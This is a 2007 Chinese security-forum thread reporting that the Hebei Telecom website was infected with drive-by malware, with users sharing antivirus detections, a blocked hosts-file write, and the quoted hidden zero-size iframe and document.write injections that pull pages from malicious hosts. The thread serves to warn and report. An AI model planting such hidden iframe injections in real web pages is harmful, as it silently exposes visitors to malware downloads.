河北电信被挂马

显示全部楼层 · 发表于 2007-11-17 11:27:00

http://www.hbtele.com/

显示全部楼层 · 发表于 2007-11-17 11:30:42

检测到：木马程序 Trojan-Downloader.HTML.IFrame.ag URL: http://boc.sbb22.com/home/index.htm

显示全部楼层 · 发表于 2007-11-17 11:38:04

MS每个页面都被挂了ANI

显示全部楼层 · 发表于 2007-11-17 12:04:09

挂马乐园，多个页面被挂，N个iframe，其中的一些：

<iframe src=http://www.m85853.com.cn/index.htm width=0 height=0></iframe>
<iframe src="http://boc.sbb22.com/home/index.htm" width=20 height=0></iframe>
document.write('<Iframe src="http://www.hbtele.com/top2.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>');
document.write('<Iframe src="http://www.hb-hack.com/ppx/wm/520hack.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>');

显示全部楼层 · 发表于 2007-11-17 12:15:22

其实都是连<iframe src="http://boc.sbb22.com/home/index.htm" width=20 height=0></iframe>
老客户，54之

显示全部楼层 · 发表于 2007-11-17 12:16:45

小A全部防住

显示全部楼层 · 发表于 2007-11-17 12:32:32

额我的网就是河北电信的

显示全部楼层 · 发表于 2007-11-17 21:32:32

咖啡报了！

显示全部楼层 · 发表于 2007-11-17 21:36:32

h**p://boc.sbb22.com/home/index.htm

这个网址有木马

[ 本帖最后由 kato9096 于 2007-11-18 20:21 编辑 ]

显示全部楼层 · 发表于 2007-11-18 00:28:28

还有一个另外一个也是狂的，那个不进了，卡得郁闷。。。

2007-11-18 0:23:48 已由访问保护规则禁止 MICROSOF-F67B91\Administrator D:\Program Files\maxthon2\Maxthon.exe C:\WINDOWS\system32\drivers\etc\hosts 通用标准保护:保护网络设置已阻止的操作: 写入

[已鉴定] 河北电信被挂马